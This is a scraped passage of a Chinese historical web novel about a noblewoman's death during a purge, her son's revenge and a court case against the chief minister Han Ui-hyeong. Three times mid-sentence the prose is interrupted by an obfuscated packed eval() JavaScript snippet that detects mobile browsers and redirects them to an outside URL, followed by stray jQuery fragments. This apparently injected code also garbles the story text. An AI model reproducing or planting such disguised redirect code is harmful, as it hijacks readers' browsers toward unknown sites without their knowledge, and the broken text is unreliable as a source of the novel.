她想闹,男子却反以家族威胁她。世家小姐伤心欲绝。家中为了保住世家小姐的名节,想了一个办法,为她找了一名愿意做名义夫妻的男子。世家小姐思考良久,最终还是拒绝了这个办法,她不愿意再和男人有所交集,而是选择退居家中,生下了孩子。 这倒不是她对那男人还有什么幻想之类,相反,她敢爱敢恨,主动结束了错误的一切过去;她爱憎分明,只是憎恨那个男人一人而已。一个雷雨轰鸣的夜晚,世家小姐生下了一个男孩。她让孩子随了自己的姓氏,养在自己的身边,教他读书写字,教他仁义道德。所幸这孩子也并未随那男子半分,性格沉稳好学,乖巧懂事,连相貌都和世家小姐像极。 然而那几年幸福的时光,并没有持续多久。 世家小姐的家门并非势族,而是众多不与党派为伍的清流当中的一个,只是家族中人有幸得到国君赏识而得到了高官厚禄。自诩清流,却得到了高官厚禄,抢了别人的位置,又不和那些人为伍,这样的代价是很大的。 一个没有靠山的家族,为此付出了血流成河的代价。 一场声势浩大的由党争引起的祸乱开始了。虽然世家小姐的家门并非首要罪臣,但还是被列出了各项罪名,至于是确有其事还是子虚乌有,也只有列罪名的人知道了。首要罪臣全族抄家斩首,世家小姐的家门也遭受牵连,竟也得到了一个全族抄家的结局。大抵是命运弄人,带着士兵执行抄家的不是旁人,正是那个世家小姐恨透了的男子:时任别将的韩义亨。 好在世家小姐的家族做好了准备,加之这场劫难尚有翻转的余地,朝堂上正吵得热火朝天难舍难分,抄家的命令随时有可能撤回。抱着这样的期望,世家小姐的兄弟姊妹,包括世家小姐本人,都被送往京郊的私宅避难。 世家小姐带着自己的孩子和几个仆从躲在了远离京畿的一处私宅内。胆战心惊地等了很多日,最后等来的却是其他几处私宅都被血洗了的消息。朝廷没有翻案。 无处可逃。韩义亨带着兵卒杀了过来。 为了不让孩子被捉住,不让孩子被杀。世家小姐只能将儿子藏在地板下。临关上地板前,她严肃地警告儿子:“无论发生了什么,听到了什么,都要当作没听见,也不要发出声音。知道了吗?” 小孩重重地点了点头。然后陷入一片灰暗当中。 世家小姐刚关上木板,房门就被人一把推开,映入眼帘的果然是那张令她憎恨了数年的脸。她想过杀了韩义亨复仇,可是如今,看着那把明晃晃的长刀,她却不得不恳求韩义亨看在以前的情分下,放过她的家人。 韩义亨无情拒绝。他扫了一眼屋内,已经不复年轻时细皮嫩肉的脸上露出了一丝疑惑,疑惑地说:“那个孩子呢。” 他说:“我知道那孩子一直在你身边,你从来不让我见见他。这下,总该让我见一见了吧?” 世家小姐说:“你见他做什么?要杀了他吗?” 韩义亨说:“带回鞫审厅。” 带回鞫审厅,那也是死路一条。 世家小姐说:“你连孩子也不放过?” 韩义亨说:“不是我放不放过那孩子,是主上下的命令。我只是奉命行事。” 世家小姐说:“你敢说你的刀上没有沾我家人的血??” 韩义亨说:“你的家人我倒没有杀,那是要交到鞫审厅审判的,我只是杀了几个反抗的奴仆而已。” 世家小姐咬牙切齿:“简直是个畜生,你不是人!” 韩义亨说:“对啊,一直以来,我都是个畜生。你不是第一天知道了。好吧,他在哪?” 世家小姐说:“他是你儿子!你连自己的儿子也不放过?!” 韩义亨将刀横在女人脖子上,满不在乎地说:“我儿子?你这样随意而放荡的女人,当年才和我认识多久就滚到了一起,我如何能确定那孩子是我的?你应该知道斩草除根这件事。” 世家小姐说:“你无耻!你卑鄙!是我看错了人!” 韩义亨不耐烦地说:“随便你怎么说,不要再废话了,是你自己乖乖让我带你去鞫审厅,还是说想让我杀了你......” “你去死吧!”世家小姐破口大骂:“你这个无耻狗贼!韩义亨!是你做的这一切!你他妈的不得好死!你杀了我啊!杀了我!你以为你会落得什么好下场吗?!我诅咒你!我诅咒你的家人落得更惨的地步!” “诅咒?”韩义亨皱了皱眉,叹气说:“身后之事,尚未可知啊。” 世家小姐呸他一声。 “浪费太多时间了。”韩义亨看了眼外面,说:“那孩子究竟在哪?若是到了鞫审厅,主上看见那孩子,说不定会网开一面,让这孩子逃过一劫呢。你还是让那孩子得个善果吧。” 世家小姐忽然垂下头,就在韩义亨以为她要服输时,她却突然大笑起来,若说是笑,反倒更像撕心裂肺的哭,是哭是笑,叫人完全分不清。她接着缓缓抬起头,竟然笑出了眼泪。也不擦,盯着韩义亨冷笑一声,说:“你从未关心过那孩子,岂知那孩子两年前便已病死了么?” 韩义亨顿了一顿,似乎在考虑这句话的可信度。然而就是这片刻犹豫的功夫,世家小姐竟突然撞了过来。 纤细白净的脖颈狠狠地和锋利的刀刃接触,便顿时血流如注。世家小姐眼睛一瞪,倒地不起。 就这么悄无声息地死了? 韩义亨烦躁地眯了眯眼。这可不好向主上和义禁府交代。这时,外边有人喊他:“别将大人!” 韩义亨扫了一眼眼前这个除了一个正在流血的女人以外,几乎空无一物的小小屋子,没多待,转身离开了。 木板下,小孩一句不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856728|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落地听到了那些话,虽然他听不大懂,但他也知道不是什么好事。他只听到外面突然变得安静了起来,不知道母亲怎么样了。 他小心翼翼地敲了一小下木板,然而没有回应。 还是耐心等一等吧。他乖乖地想。 过一会,他就疯了。母亲撞上刀口后流出来的血渗过木板的隙缝流了进来,滴在他的脸上和脖子上,从温热到冰凉。一抹,黏黏腻腻,木板透进来的光让他看清手上的一片鲜红。他终于意识到了什么,开始恐慌啜泣起来,并且试图推开地板。 可是推不开。 世家小姐恰好就倒在木板上,用身体死死压住了地板,摩挲着喉咙说了一句“不要哭”,可是割裂的喉管让她根本没法说出来这句话,反而留了更多血。地板下的小孩恐惧极了,开始放声大吼大喊。 世家小姐用尽全身力气,重重地锤了三下木板。 小孩其实也没有很乖,总是会犯错,每每犯错惹到母亲生气时,又总是有个坏习惯,就是喜欢撒娇来躲过惩罚。母亲当然也有个习惯,每每不吃儿子这招撒娇时,都会拍三下桌子,态度严厉地禁止他撒娇糊弄过去。久而久之,只要母亲拍三下桌子,小孩就会乖乖的立正挨打。 听到这三声竭尽全力、仿佛在耳边炸起的捶地,地板下瞬间安静不动了。 世家小姐咕噜着嘶吼嗓子,不顾自己流了多少血。韩义亨听到一些奇怪的声音后便带着人踏了过来,他看见的就是世家小姐对着他呲牙咧嘴嘶吼着的样子。 跟他一起来的手下被这一幕惊住了:“别将大人,这......” “这女人疯了。韩义亨嫌恶地皱了皱眉,说:“死了就收尸带走,没死就押送到牢里。” 还是死了。 ...... 韩时元很少再梦到母亲的脸。 他记住了仇恨,记住了那个人的名字,却在经年累月的仇恨中,逐渐忘记了母亲的脸。 几度在梦中,他回到那个像地狱一般撕心裂肺的日子。 也因此讨厌上了睡觉。 ...... 韩时元静静地替宋景熙抹掉眼角的泪珠。宋景熙咬牙恨恨地道:“韩氏...韩义亨的韩氏,果然是死不足惜!还好韩丙建、韩义亨这些人也是自寻死路了,杀了他们,不仅毫无负担,更是为民除害。杀了才好,杀了才解气!” 韩时元低低地嗯了声:“杀了才好。”他垂眸,似是略有犹豫,“可是,若是以废世子案之名杀了他们,宋氏恐怕也会遭到牵连,你的家人......” 宋景熙果断道:“没关系,就像我之前说过的,一个人做错了事,迟早要承担做错事的后果的。若是隐瞒废世子案,这对老师也不公平,再说这也不是我们隐瞒得下去的事情,迟早也会揭露的不是吗。”他顿了顿,又道:“其实,你决定对韩义亨那些人怎么样,不用告诉我的,做你想做的事情就可以了。我绝不会阻止你。” 韩时元深深地望着他:“我的任何事情,你都有知情权。” 这样深邃的眼睛,好像把他的魂魄都勾进去了,宋景熙心下一动,只不过这次不必他凑上去,那双柔软的唇已经靠近他了。 77. 日薄其七 轰地一下,勤政殿内顿时吵闹起来,众臣交头接耳,纷纷都在表达一个意思:这不可能! 这名突然被王上召进殿里,此刻站在他们面前的、穿着一身紫红色官袍的男子,竟然会是那名早已死去多年的崇绫大君?! 这怎么可能?! 众人交头接耳,就是没一个敢率先站出来说话的。王上静静地扫视着座下这群小心翼翼的臣子...... 领议政韩义亨,吏曹判书宋道真,大提学沈同庆,声音过了之后,就都低着头不再动弹了,一言不发。 现在他们需要一个大臣来附和或质疑王上对于崇绫大君的解释,可是,这崇绫大君是真是假,认不认,质疑不质疑,哪有这么好说啊!这三个最有发言权的大臣不说话,自然是没人敢先跳出来说话的。 有人推了左议政一把,年迈的左议政胡须一颤,咬了一口摇摇欲坠的牙,在众人的目视下走了出来,走到崇绫大君身边,恭敬道:“大君大人...可否看一眼老臣?” 李珘对这位老态龙钟的左议政还有印象——是先王在世时任用在议政府的老臣了,如今年逾七十,路都走不稳了,依旧不告老致仕,做官也是一碗水端得极平的。他对这位老臣自然也是有敬意,要给面子的,便转过身并略微弯下腰,让左议政看得清楚。 左议政眯着眼睛仔细看了一阵,忽而瞪大眼睛,举起双手就要往下倒:“是大君大人!是崇绫大君啊!” 李珘赶忙扶住这位老人。左议政这话一出,朝堂瞬间又炸开来了,这左议政当了几十年官了,在崇绫大君还是个孩子的时候就见过了,崇绫大君为世子时,他还在世子侍讲院任过侍讲官,肯定是知道崇绫大君长什么样子的。就算崇绫大君如今已经五十岁了,但眉眼依旧在那,不会认错的! 左议政痛哭流涕道:“世...大君大人,您怎的...怎的变成这样老了,您走的时候才二十八岁,如今竟然老成这般模样,竟是和老臣一般无二啊......教臣都快认不出来您了,大君大人啊......” 李珘苦笑道:“尹大监,您也比当年老多了。” 左议政抹泪道:“岂料您离开后遭了那般磨难,原来那场海难并未夺走您的性命,果然是吉人自有天相,乃我国之幸呐!只是您为何不早些归来呢!” 坐在御座上的王上顿时欣然一笑,然后颇感疑惑地喊了一句:“左相。” 左议政哆哆嗦嗦道:“臣在。” 王上扫了一眼心怀各异的众臣:“还有诸位卿,难道不对寡人的王兄如今的状况感到奇怪吗?当年寡人的这位王兄,可是因为疯症而被削爵流放的。” 左议政被一下子点醒了,是啊,当年崇陵大君被流放的时候还疯疯癫癫的,如今怎么行为和言语这么正常了? 他瞪大眼睛,看向李珘道:“大君大人!您的病...好了!?” “可以这么说。”李珘道:“但...主上,臣就直说了,当年臣之所以得了疯症行为癫狂,全赖奸臣所害。这名奸臣,恐怕就在诸位当中。” 朝堂又一锅炸了。 交头接耳声中,宋道真率先走了出来,小心翼翼道:“主上,此事是否有些突然?” 王上道:“突然什么?寡人召见你们,正是为了此事,宋卿怎会觉得突然?难道对于废世子一案,众卿心里就不曾有过一丝疑问?” 宋道真低下脑袋道:“......这,臣不是这个意思。” 王上睨视了座下的宋道真一会,而后道:“宋卿,你是不是觉得废世子案已经是陈年旧事,不值得再提了?” “臣不敢。”宋道真不敢说话,心道悔极,早知如此就应该再学韩义亨沉寂着了,对了...韩义亨今日怎么如此沉默......他紧张得尚来不及思考,突然听到背后一声大喝:“怎么不值得再提?!奸臣就在我们当中,怎么不提!就应该直接捉了,让义禁府押到鞫审厅去,好好伺候一通,以解大君之冤苦!” 这声音铿锵有力,轰地一声就把所有人的目光都吸过去了。来人胡须直颤,不是个众臣熟悉的面孔,但还是有人认出来了。这不是那位以铁面无私著称的司宪府掌令吗! 一个小小的四品官,竟敢闯到勤政殿来了?!虽说这不是朝会,可这未免也太猖狂了! 不止群臣震惊,王上也觉得惊异:“卿为何闯入殿中?” 掌令噗通一声跪了下来,声音不减半分:“臣是为了检举害了崇绫大君的奸臣来的!” 王上道:“哦?你检举?检举谁??” 掌令道:“臣是司宪府的官员,是主上的命官,就是为了检举而来的。臣心里憋着这件事,怕还未说出来就遭人灭口了,这才不得不闯了进来,请主上原谅!让臣说一说!” 宋道真不知怎的着急了,道:“主上,这话简直是危言耸听,什么灭口?还有人敢杀司宪府的命官,他这只不过是替自己开脱罢了,未经允许擅闯勤政殿,这是大罪!” 这时,沈提学跨步走上前来,道:“主上!臣也有言!臣以为废世子一案关乎王家,即便是过了一百年也是头等要事。崇绫大君当年遭奸臣所害,文祖大王在天之灵也希望大君之冤终有沉冤昭雪之日。掌令也是司其本职,即便是擅闯大殿,也应看在其忠心耿耿的份上原谅几分,让他先有话直说了!” 王上点头道:“嗯,你说的好。掌令,你说吧,寡人听着。” 沈提学低下头扫了一眼宋道真,眼底闪过一丝得意。 掌令抬起脑袋,锐利的目光甩向身后,最后定在了一个从未发过一言的人身上...... “奸臣就是领议政!” 一片沉寂中,李珘心想,世子这事办得真不错。他可不敢把李澄找他和时元合作的事情告诉王上,因此都是瞒着王上偷偷接触的。时元也很谨慎,只告知了李澄废世子案的真凶就是韩氏,并未将从海商那里得到的证据交给李澄。李澄凭着存善堂那儿的简单的证据和证人就开始行动了,而且竟然找了掌令这么个正直的人过来当挑起事端之人。 这下,韩义亨算是被钉在铁板上了。 没错,在这样一片死寂当中,韩义亨就是宛如被钉在铁板上,被众人的目光炙烤一般。这平日里沉稳非常的领相,如今,竟然罕见地额角泌出了汗珠——不知是什么时候出的汗。 王上眯起半只眼睛:“领相乃寡人心腹爱臣,岂会做出此事?” 掌令昂首道:“臣为臣所说的话负责!害了崇绫大君的真凶就是领相!所谓凡事都要讲证据,臣不仅有证据,还有证人!” 王上道:“证据、证人何在。” 掌令道:“证据、证人都在京郊存善堂之中!” “可有带来?” “臣来得急,并未。” 宋道真猛然抬头:“这便是空口无凭!” 王上喝道:“你闭嘴!” 宋道真悻悻然闭嘴。 王上脸色阴沉,看着掌令:“你如何得知此事?” 掌令意识到自己好像触犯龙颜了,立刻将脑袋贴近地面,声音还是那般响亮,不耍心眼子,也不绕弯子:“是有人告诉臣的!” 殿内几人瞪大了眼睛。 李珘心里嘿嘿一笑,突然感到一阵凌厉的目光朝他袭来,他顿时意识到自己没控制住,不慎把心里的嬉笑带到脸上来了,这下立刻收敛脸色,将脸变成了一块木板。 “掌令。”王上道:“是谁告诉你的,寡人暂且先不追究。” 掌令磕头谢恩道:“请主上告诉臣臣指认的对不对吧!” 王上呵了一声:“寡人又不是上天,怎么得知你说的对不对?证据,证人,带来。面见寡人。” 两个时辰后。 勤政殿里多了一个人,这人正是洪医官。洪医官同掌令跪成一排,众人死寂一般听洪医官讲完,又看见跪伏在地上的洪医官哆哆嗦嗦地在袖子里掏了掏,很快掏出一个谁也没见过的古怪玩意儿。 黑的,瘪的。 洪医官双手捧着这玩意举到王上面前,道:“这就是解忧草。” 王上道:“你是说,这东西是领相韩义亨给你们的?” 洪医官支吾着还没说话,一旁的掌令就立刻道:“没错!就是领相给的!领相他当年就是给了洪医官的兄长洪御医这个东西,让洪御医去谋害还是世子的崇绫大君,从此以后大君就被这东西逼成了疯人!” 李珘握拳咳咳了两声。 洪医官张口正想说什么,却得到了李珘的眼神示意,也就没说话了。 王上也陷入了沉思当中,只言片语一句没有。宋道真这时急得不行了,脚都急得发麻了,立刻跳出来道:“主上!这种证据岂能叫证据?哪有证据可以证明这解忧草是领相给洪御医的,并无实证啊!我若说给洪御医解忧草的是沈提学,也同样无法反驳!” 被点到的沈提学也跳了出来:“吏判!你这是诽谤!” 宋道真道:“主上!连沈提学都说这是诽谤,这对领相难道不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856729|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是诽谤吗?” 王上揉了揉鼻梁:“领相。” 领相缓缓抬起头,额头的汗水已然消失不见了,只是眼神比以往变了很多,声音也变得沉重起来:“臣不认罪。若是这样所谓的证据便可以教人万劫不复,国法也将不复存在。” 王上看向洪医官:“证据呢?” 洪医官支支吾吾半晌,最终憋出来:“没有。” 掌令不可思议道:“没有?!”他咬咬牙,扭头看向垂首不知在想什么的韩义亨,再次坚定道:“证据不证据,都在你们的嘴里,只要拷问就好了,没有什么是拷问不出来的!” 沈提学道:“对!拷问!” 宋道真一脸难以置信:“拷问?你说拷问?!” 沈提学道:“吏判!我看你今日也古怪的很,从方才起就一直在维护领相,怕不是领相之同伙!主上,臣看吏判也应送到鞫审厅拷问去!” 王上的额头跳了跳。李珘心叫太糟糕了,怎么混乱成这样子了。他完全能想象到下了朝后,自己肯定会被王上问责为什么废世子案的调查会泄露了出去!想想就头疼! 那边宋道真已经和沈提学闹起来了,他呵斥道:“沈提学!你少在这落进下石。你好歹也是一朝元老,竟蠢到这个地步。为了这样一个不清不白、漏洞百出的证据证言就要对领相严刑逼供?哪里还有国法可言?!你说!国法何在!” 沈提学被问得卡住了。是啊,这洪医官拿出的证据确实不够看,完全不够定韩义亨的罪的,在不知情者看来这确实和诬陷无异。 趁他卡着,宋道真继续呵斥:“沈提学,还有掌令,你二人叫嚣要对一国领相明正典刑,可我看来分明这是为报私仇!拷问领相?你先问问我们这群为国家付出了一辈子心血的老臣寒心不寒心、答应不答应!若是往后我们被人用这样拙劣的手法诬陷,还要被上刑拷打,我们上哪儿去说理?恐怕只能去文祖大王陵前哭诉一番,然后一束白绫,和先王作陪去了!” 沈提学心虚地低下了头,他确实只是趁火打劫,趁韩义亨有病要韩义亨的命...... 宋道真愤慨道:“我看你这种无耻小人才是国家之大患!有你们这群不分青红皂白之人,也无怪乎天灾不断了!文祖大王若是泉下有知,怕是要痛心疾首不止。真正该削掉脑袋挂于竹竿上向上天谢罪的是你们!沈提学你和掌令!” 沈提学呃呃两声:“你这是...这是!”他脸憋得通红,说不出话来。 掌令这时也怀疑地低下了头。他做错了? 可是,世子就是这么对他说的啊......证据也都在这......证据............ 李珘心里惊得要命,方才还一直觉得这个宋道真蠢,那般明显地站在领相一头,他心里也担心死了,就怕宋道真和韩义亨真是一伙人!可现在看来,宋道真这个人,也不是如此蠢。至少说话还是挺有理有据的。 韩义亨抬起头,沉声道:“臣从未对先王和主上有过任何异心,这样莫大的罪名,臣实在不敢认。但若是拷问,臣愿一人接受,恳求主上不要祸及臣的家人。” 王上依旧沉着脸色不说话,但扫了一眼在场混乱成一片的大臣。 过了小片刻,突然从人群里又响起一个声音:“主上!还请不要寒了我们这些老臣的心呐!” 接着有人跟着亮起声音:“臣等为国为民付出半生心血,自问上无愧于天,下无愧于地,再无愧于君民,领相更是尤甚!岂能因这些毫无根据的诽谤和诬陷和对老臣施以重刑呢主上!” “是啊是啊——主上——” 类似的声音陆续响起。王上的脸色却越来越黑,李珘心道不要再吵了,再吵大家都得完蛋,于是顿时拂袖道:“好了好了都别说了!” 咵一下,又都闭嘴了。 王上头疼欲裂,已经身为君王二十二载的他最讨厌的就是意料之外的事和无法掌控的事,今日一下子全发生了,烦得要死,还不能发怒火,只好忍了下来,和李珘一样甩袖,从御座上站了起来,踏踏往座下走,穿过众臣,语气森然道:“此事先不必再议了,都退了。” 李珘心想肯定要挨骂了,意味深长地看了韩义亨一眼后便也跟着急匆匆离开了。 两日后。 正当众人以为对韩义亨的检举陷入谷底,再也不能掀起任何风浪时,竟然发生了一件令人极其意外的事情。 成均馆的儒生们罢课了。 而领头的,竟然是宋景元。 78. 吴钩其一 一群神态激昂的儒生正聚集在成均馆集贤门前。而在他们面前,是一群手握长刀的士兵。 领着这群士兵的韩圣吉高坐于马上,刚刚打马而来,马蹄还未落定,他斜眼冷看了这群罢课的儒生们,然后将目光定在站在最前方的宋景元身上。 宋景元不卑不亢地抬着头,这一下就和韩圣吉对视了。韩圣吉不知是以什么样的情绪,竟然就坐在马上低笑了一声,态度轻傲道:“司宪大人何出此举呢?” 他听说了,这起罢课纯粹是宋景元挑起的。宋景元作为成均馆的模范卒业生,几年前便受成均馆的邀请,在成均馆身兼了一个讲官之职,偶尔得闲时便受邀来到成均馆给众儒生讲学,授业解惑。事发这日的晨时,宋景元不请自来到了成均馆,讲了一场学,竟然就煽动了两百名儒生声讨韩氏,认为韩氏不捉不行。 必须捉!必须审! 现在,这两百名儒生竟然全部罢课了,堵在集贤门内外,韩氏不捉,他们就一日不停止罢课,闹得沸沸扬扬! 宋景元的眼睛始终和韩圣吉保持着对视,语气平淡道:“为维护国法,不得已如此。” 他身旁一名儒生义愤填膺地举起拳头道:“对!没错!韩氏不捉,国法不在。我们绝不容许韩氏亵渎国法!” 另一名儒生也举起拳头大喊道:“韩氏的罪证,单凭我们都能列出十条,徇私枉法,结党营私,大逆不道,辱骂君上,有哪一件是你们韩氏不敢干的?韩执义,你敢不敢接受义禁府的审问,你若是当真心怀坦荡,岂会在此阻拦我们?!” “我们要上书国君,却没人听我们说话!所以我们要罢课,就算血溅明伦堂,我们也要喊得撕心裂肺!” “对!没错!” “绝不允许韩氏亵渎国法!” “义禁府应该捉了他们!” 韩圣吉的瞳孔里并没有这些声嘶力竭呼喊的儒生,从始至终他都只挂着嘲讽的唇角看着宋景元,然后一浪盖过一浪的呼喊声不可阻挡地通通钻进了他的双耳,让他暂时没法忽略掉这些人,他终于看向面前这些面色涨红的学生,眼底闪过一丝不耐烦,呵斥道:“闭嘴!” 没法闭嘴的。 韩圣吉有些恼怒了,他不是很想听到这些声音,尤其是这声音里还出现了辱骂韩氏的语句,他绷紧下巴,对身边军士叱道:“刀!”军士递给他一把刀,他将刀鞘握在手中,另一只手毫不犹豫地迅速抽出长刀。身后士兵也瞬间抽刀出鞘,举刀在头前。 “不想被割掉舌头的话,就给我闭嘴。”韩圣吉冷声道。 宋景元摇了摇头:“你不能阻止我们,执义大人。” 韩圣吉道:“司宪大人,这不由你。” 宋景元道:“这的确不由我,这由我们。”他凝了凝目,放开嗓子大呼道:“韩氏伏法!” “韩氏伏法!” “韩氏伏法!” 如同海浪一般一重重的声音叠来,儒生们的声音越来越激昂,行为也越来越激动。站在人群最前方的几个儒生见韩圣吉依旧是那副坐在马上高傲得不行的样子,相视一眼便心有灵犀地冲上前去捉韩圣吉。韩圣吉被扯了衣服,脸色迅速变得不愉悦起来,马匹也受了惊,让他再没法坐稳。 韩圣吉的脸黑了黑。一个儒生算准了他不敢真动刀杀人,于是胆大地去夺他手上的刀。但没抢动。 韩圣吉常年习武,手掌的握力岂是他们几个文弱书生比得过的。况且,他们刚碰到韩圣吉,就被韩圣吉座下几个军士捉住推开了,接着都挡在韩圣吉马前,做出防御的姿态,拿刀锋对准了这几个冒犯的儒生。 宋景元走上前让这几名儒生到后面去,他隔着这几个拿刀对准他的军士朝韩圣吉道:“执义大人,坐在马上应当不是很稳。” “妈的。”韩圣吉低骂了一声,可他竟将长刀滑入鞘中,接着道:“宋景元,看来你一直没有长过记性。” 他慢悠悠下了马,越过挡在前方的军士,径直走到宋景元面前,两人对视。韩圣吉道:“让你的人退回集贤门内。” 宋景元道:“我不能。” “你能。”韩圣吉道:“曾经同窗多年,如今拔刀相见,也是难为。留些余地,叙一叙旧,难道不可以?” 一名儒生探出头道:“我们和你无话可说,你要有什么话,就到义禁府说去吧!” 韩圣吉剜了那出言的儒生一眼。 宋景元盯着韩圣吉,缓缓道:“可以。” 儒生道:“司宪大人!” 宋景元道:“你们退回集贤门外吧。”他扭头用唇语解释:“谈判。” 离得近的儒生们都咬了咬嘴唇,还是选择听宋景元的话,乖乖地推搡着后面的儒生们退回去。等退完了,韩圣吉微微一笑,朝军士甩了甩手势示意退后。军士们动作快些,很快四散退开三丈。 宋景元道:“你想谈什么?” 韩圣吉道:“我什么时候说过这是谈判?” “......” “我只是觉得你很蠢。”韩圣吉突然说得十分直白。 宋景元抿唇不语。 蠢吗?蠢就对了。 “你究竟要吃多少教训才会长记性。竟然还敢相信儒生?当年背离你的,可就是这些你最亲近信任的同窗啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874024|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋景元的瞳孔微微一缩。 如果不是韩圣吉提起,那他一定会以为自己忘得干干净净了...... 外人都以为,进入成均馆读书是什么莫大的荣耀,可是对于他来说,是绝对不想再提起的过往。 韩圣吉慢悠悠露出一个似笑非笑的令人胆寒的笑容:“这所谓成均馆儒生们的德性,难道你还体验得不够么。你想不到,你怎么想得到呢,那时你最亲近信任的同窗,竟然会背弃你,转而投向了我。那些时日,不好过吧。” 宋景元藏在衣袍下的手开始轻微颤抖起来。 忘不了的......果然还是忘不了的...... 被泼湿的衣服...被烧毁的书...被夺走的书信...被抢走的笔...被骂懦夫...被砚台砸出的淤青...被推到窗沿上时压在脸颊上的痛感...... 忘不了! 根本忘不了! 见宋景元的眼神落下去,不再直视他,韩圣吉的笑容愈深:“你怎么就是不长记性呢?才过了多少年,又被这群烂人利用了。” 半晌,宋景元道:“......你说的不对。” 韩圣吉冷笑道:“哪里不对,你猜他们听的是谁的命令?不用多想,也知道是沈提学。你以为你安抚得下来?你以为你的敌人是我?你以为与我为敌就可以一雪前耻?你太天真了。” 宋景元依旧垂眸道:“你说的不对。” 韩圣吉嗤了一声:“你领着这些人罢课,你父亲可知道?” “......” “你太天真,太可怜了,不知道我们是一伙的。吏判都站在韩氏这边,你这又是何苦呢,你这岂非是在公然违背你父亲。睁眼看看你身后这些人,他们是要从你的身上跨过去,公理正义对他们来说,还不如一个五品官的位置吸引力大。沈提学他要你死啊。可怜,竟然被利用到这个地步还不自知。想好了,你要怎么收场?” 宋景元轻声道:“他们不是你的人。” 韩圣吉:“什么?” 宋景元抬眼道:“他们不是当年那些人,不是那些为了讨好你而欺辱我的人,更不是沈提学的人。他们是真正的读书人,是真正的儒士,是这个国家的未来。” “......蠢。” 宋景元道:“蠢又怎样呢,至少不是坏。” “......”韩圣吉心想,没救。 “你到底想怎样才肯收掉这场闹剧?” “绝食。” 韩圣吉以为自己听岔了:“?” 宋景元声音坚定起来:“我要绝食。” 79. 吴钩其二 说一不二,宋景元开始了绝食。 这是第七日。 愿意跟着宋景元一起绝食的人都饿得昏昏欲倒,互相用残存的力气给对方打气,实在饿得不行的就偷偷吃两块饼子,然后继续绝食。 而宋景元,是真的一点都没吃。连水都不肯喝几口。 对此,胖儒生夸张地道:“你说他究竟是不是疯了??竟然真的可以连续八日一口食物都不吃,我才坚持了一天就不行了,肚子饿得疼,这几日啃肉饼都还要悄悄地啃,跟偷鸡摸狗似的!” 瘦儒生不屑地道:“我好歹还坚持了三日,真是白瞎了你这体量,竟然连我还不如。哼,我看他根本是偷偷吃了吧,怎么会有人能坚持下来七日呢,这绝对不可能。” 高儒生道:“你们说完了没?” 胖儒生和瘦儒生一下子噤声了。 “这重要吗??”高儒生不耐烦地道:“管他真真假假,大人怎么跟你我说的,做我们被要求的事情就行了,哪儿那么多废话!” 胖儒生弱弱地道:“可是...我们真的要这么做吗?好像很危险......” 瘦儒生也道:“是啊,要是我们被发现了怎么办?我们的家门肯定也会受到牵连的!” 高儒生瞪他们:“收好处的时候你们怎么不说,现在就知道跳出来了?沈...咳大人的手段你们又不是不知道,收了他的东西还不办事,往后只有我们滚出集贤门的份!办好了五品官正等着我们呢,好好办就是了,这计划万无一失,谁能发现?绝对不会有人发现!” 胖儒生缩缩脖子:“好吧......那我们就按大人的计划来好了......” 瘦儒生道:“可是,按照大人的要求的话,司宪他要是一直不肯吃东西呢,岂不是没法动手?” 高儒生哼道:“他要是不想死,迟早会吃些什么,况且,难道他连一口水也不喝吗?” 瘦儒生怒了努嘴。 这是第九日。 宋景元躺在仅铺了一层的地榻上,面无血色,唇色苍白,没有一丝活气,连鼻息也微弱得很,仿佛已经入土了一般。的确半截身子也入土了,他身边几个陪侍他的儒生都一边饿着一边担心他的安危。 他们不是真的想死,只是用绝食这种威势去逼朝廷妥协,让王上认可他们的意愿,顺便彰显一下读书人的骨气。 谁都不知道这场绝食还要持续多久,这些从未饿过肚子的儒生们实在饿得不行了,偷吃两口也是有的,可宋景元是真真切切完完全全的一口不吃,他们都担心坏了,怕再继续下去宋景元会真出了什么问题,劝宋景元吃一些吧,宋景元却打死不肯。连喂到嘴边的肉饼都不肯看一眼。 正当这群儒生们饿得头晕眼花时,他们听到一阵有力的脚步声从斋舍外面传来,紧接着房门被一把推开,一个容貌姣好的女子就出现在他们面前。 女子...... 女子?! 儒生们瞪大眼睛看着闯进来的李宝爱,他们都不认识这是谁,可从来没有女子步入成均馆的先例,一个儒生当即道:“这位小姐,你不能擅闯此处!” 李宝爱并不看此人,而是紧盯着地上气若游丝的宋景元,宋景元见到她也是很惊讶,睁着眼睛缝吃力地说话:“......翁主。” 声音虽然小,但大家都听清了。 儒生们心下又是一惊。翁主?这女子是翁主?? 李宝爱凌厉地看向方才说话的儒生,道:“他是不是不肯吃东西?!” 儒生硬着头皮答道:“是,司宪大人他不肯......” 李宝爱道:“都出去!我来劝!” 